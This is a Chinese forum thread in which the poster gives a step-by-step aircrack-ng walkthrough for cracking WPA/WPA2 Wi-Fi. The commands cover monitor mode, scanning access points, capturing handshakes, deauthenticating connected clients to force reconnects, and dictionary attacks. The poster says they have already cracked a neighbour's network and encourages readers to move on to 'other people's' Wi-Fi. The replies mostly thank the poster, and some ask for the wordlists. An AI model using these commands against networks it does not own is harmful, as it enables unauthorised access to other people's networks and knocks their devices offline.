前言：
事情是这样的，家里的宽带是广电的，TMD广电是铜轴电缆入户接一个路由，这个路由有后门，我把里面的VLANID之类的改了用一段时间配置会被恢复，好像也有DNS劫持污染丢包的问题，以前发现过改了DNS用dig命令有时候返回的数据里面没有answer section字段，就是返回的包里面没有解析结果！总之是和广电的龟儿子斗智斗勇搞来搞去还是觉得网络不怎么样，最近发现有个无线信号特别强，应该是隔壁的，比我家的信号还好，然后就想了下能不能破解。

然后就，嘿嘿嘿～～～



在网上查找一番得知aircrack-ng这个软件，用这个软件最好是在linux，成功率也高,没有装linux的可以下载backtrack或者kali之类的LIVECD刻盘或者写入启动U盘。

下面开始进入正题：
11111    打开一个终端，切换到root用户，先用

複製代碼

ifconfig

                查看下无线网卡，一般是wlan0 wlan1这样的名字
              然后执行这条命令进入网卡的监听模式

複製代碼

airmon-ng start wlan0

              我的电脑执行这条命令后wlan0网卡变成了wlan0mon。
22222    执行以下命令扫描AP
             

複製代碼

airodump-ng wlan0mon

              然后你会看到类似下面的内容
             

複製代碼

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

              选一个PWR绝对值小一点的，记下BSSID和CH
33333    执行以下命令收集WPA/WPA2握手包

複製代碼

airodump-ng -w /tmp/wpatest -c 11 --bssid 00:E0:4C:81:96:D1 wlan0mon

              -c 后面的11就是CH
              --bssid后面的是BSSID
              执行这条命令后注意看第一行的右边

複製代碼

CH  11 ][ Elapsed: 1 min ][ 2015-01-21 04:00 ][ WPA handshake:

              刚执行的时候你是看不到WPA handshake这两个单词的，这两个单词代表你已经抓到WPA/WPA2握手包了
              要怎么抓到这个握手包呢？一种办法是等，等人联这个AP的时候就能抓到，或者攻击在线的客户端让它掉线重联。
              开另一个终端用下面这条命令攻击

複製代碼

aireplay-ng -0 10 -a AP's MAC  wlan0mon

              -a后面跟BSSID
              如果有客户端在线一般攻击一两次就能抓到WPA包
44444    抓到WPA包之后用这条命令破解

複製代碼

aircrack-ng -w password.lst /tmp/wpatest*.cap

              password.lst就是密码字典，就是一个文本文件，里面一行一条密码，各位可以自己随便建一个文件把自己的WIFI密码放进去，然后随便編几个密码测试能不能破解，一般就是几秒的事。
              执行这条命令之后看中间Current passphrase的位置，破解成功会有KEY FOUND 然后后面跟着破解出来的密码。



              暴力破解的关键是密码字典，如果密码在里面，破解只是时间问题，昨天我已经把隔壁那个很嚣张的WIFI破解了
              有兴趣的可以自己拿自己的WIFI测试一下，熟练了之后再去破解别人的。
              有问题可以跟贴，有可能会回。

感谢

技术贴

技术帝啊

感谢分享

现在流量都是无限得了

这要好好试试好用不

支持技术贴

请教楼主一个问题:我是联通200M宽带，以前迅雷下载电影很快的十几二十兆，最近三个月明明很有资源只能达到一百多K甚至断流，但是我同样的资源用电信下载速度杠杠的！为什么？用浏览器下载应用不受影响

有没有安卓端的暴解软件？

虽然不懂，支持一下

技术贴，必顶

1024

多谢分享

密码字典和软件可以分享一下吗？

跑字典跑三天三夜都不一定跑出来

多年前用过。现在的路由器带防蹭网了。

感謝分享

感谢你的分享

感谢分享

1024

太费脑了，搞不起来

牛逼老铁

支持发帖

挺好玩的